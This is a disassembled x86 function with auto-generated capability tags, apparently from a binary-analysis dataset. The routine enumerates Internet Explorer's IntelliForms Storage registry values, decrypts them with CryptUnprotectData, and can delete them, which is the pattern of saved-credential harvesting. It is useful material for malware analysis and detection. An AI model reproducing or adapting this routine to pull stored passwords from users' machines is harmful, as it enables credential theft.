Function at 0x424d20
Capabilities:
Delete registry value
Encrypt data using dpapi
Query or enumerate registry value

Disassembly:
push 0xffffffffffffffff
push 0x466e9b
mov eax, dword fs:[0]
push eax
mov eax, 0x2070
call fcn.0044f9c0
mov eax, dword [0x4835f0]
xor eax, esp
mov dword [esp + 0x2068], eax
push ebx
push ebp
push esi
push edi
mov eax, dword [0x4835f0]
xor eax, esp
push eax
lea eax, [esp + 0x2084]
mov dword fs:[0], eax
mov eax, dword [esp + 0x2094]
mov edi, ecx
push str.SoftwareMicrosoftInternet_ExplorerIntelliFormsStorage1
mov dword [esp + 0x40], eax
mov dword [esp + 0x38], edi
call fcn.00424c00
lea ecx, [esp + 0x18]
push ecx
push 0xf003f
push 0
push 0x474acc
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x42504c
mov dword [esp + 0x2c], eax
lea edx, [esp + 0x14]
push edx
lea eax, [esp + 0x880]
push eax
lea ecx, [esp + 0x38]
push ecx
mov ecx, dword [esp + 0x24]
push 0
lea edx, [esp + 0x2c]
push edx
lea eax, [esp + 0x90]
push eax
push 0
mov ebx, 0x800
push ecx
mov dword [esp + 0x34], ebx
mov dword [esp + 0x3c], ebx
mov dword [esp + 0x50], 3
call dword [sym.imp.ADVAPI32.dll_RegEnumValueA]
test eax, eax
jne 0x42500f
lea ecx, [ecx]
lea edx, [esp + 0x7c]
push edx
lea eax, [esp + 0x1880]
push ebx
push eax
call fcn.0044bced
add esp, 0xc
push edi
mov byte [esp + 0xa8], 0
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea esi, [eax + eax + 2]
push esi
lea edx, [esp + 0x54]
mov ecx, edi
call fcn.00424440
test eax, eax
je 0x424fd1
lea ecx, [esp + 0x50]
push ecx
lea edx, [esp + 0x80]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
jne 0x424fc9
lea eax, [esp + 0x187c]
push eax
lea ecx, [esp + 0x1080]
push ebx
push ecx
call fcn.0044bced
mov eax, dword [esp + 0x20]
add esp, 0xc
lea ecx, [esp + 0x24]
push ecx
push 0
push 0
lea edx, [esp + 0x888]
push 0
mov dword [esp + 0x5c], edx
lea edx, [esp + 0x50]
push edx
mov dword [esp + 0x5c], eax
push 0
lea eax, [esp + 0x60]
push eax
mov dword [esp + 0x60], edi
mov dword [esp + 0x5c], esi
call dword [sym.imp.CRYPT32.dll_CryptUnprotectData]
test eax, eax
je 0x424fc9
cmp dword [esp + 0x24], 0x24
mov eax, dword [esp + 0x28]
lea ebp, [eax + 0x24]
jb 0x424fd1
mov ebx, dword [eax + 4]
mov edi, dword [eax + 0x14]
call fcn.00434084
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
je 0x42507f
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x20], eax
mov dword [esp + 0x208c], 0
test edi, edi
je 0x424f5b
mov edx, dword [esp + 0x28]
mov ecx, dword [esp + 0x24]
mov eax, ebp
sub eax, edx
add eax, 4
dec edi
cmp eax, ecx
jg 0x424f57
mov eax, dword [ebp]
lea eax, [eax + ebx + 0xc]
cmp eax, ecx
ja 0x424f57
lea esi, [eax + edx]
test esi, esi
je 0x425078
mov ecx, esi
call fcn.00425090
mov eax, esi
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x424f22
sub eax, edx
sar eax, 1
push eax
push esi
lea ecx, [esp + 0x28]
call fcn.00415630
push 1
push 0x473dfc
lea ecx, [esp + 0x28]
call fcn.00415630
mov edx, dword [esp + 0x28]
mov ecx, dword [esp + 0x24]
add ebp, 0x10
test edi, edi
jne 0x424ef4
mov ecx, dword [esp + 0x209c]
mov esi, dword [esp + 0x20]
push ecx
push ecx
add esi, 0xfffffff0
mov dword [esp + 0x40], esp
mov ebp, esp
push esi
call fcn.00402a60
mov edx, dword [esp + 0x48]
mov edi, dword [esp + 0x20a4]
add esp, 4
add eax, 0x10
push edx
mov dword [ebp], eax
call fcn.00423a30
mov eax, dword [esp + 0x28]
push eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov dword [esp + 0x208c], 0xffffffff
lea ecx, [esi + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x424fc0
mov ecx, dword [esi]
mov eax, dword [ecx]
mov edx, dword [eax + 4]
push esi
call edx
mov edi, dword [esp + 0x34]
mov ebx, 0x800
mov dword [esp + 0x1c], ebx
mov dword [esp + 0x14], ebx
mov eax, dword [esp + 0x2c]
lea ecx, [esp + 0x14]
push ecx
lea edx, [esp + 0x880]
push edx
lea ecx, [esp + 0x38]
push ecx
push 0
lea edx, [esp + 0x2c]
push edx
mov edx, dword [esp + 0x2c]
lea ecx, [esp + 0x90]
inc eax
push ecx
push eax
push edx
mov dword [esp + 0x4c], eax
call dword [sym.imp.ADVAPI32.dll_RegEnumValueA]
test eax, eax
je 0x424df0
cmp dword [esp + 0x209c], 0
je 0x425041
lea eax, [esp + 0x107c]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x425023
sub eax, edx
je 0x425041
mov ecx, dword [esp + 0x18]
lea eax, [esp + 0x107c]
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
mov edx, dword [esp + 0x18]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
mov ecx, dword [esp + 0x2084]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
mov ecx, dword [esp + 0x2068]
xor ecx, esp
call fcn.0044a6e6
add esp, 0x207c
ret 0xc
xor eax, eax
jmp 0x424f31
push 0x80004005
call fcn.00401200
int3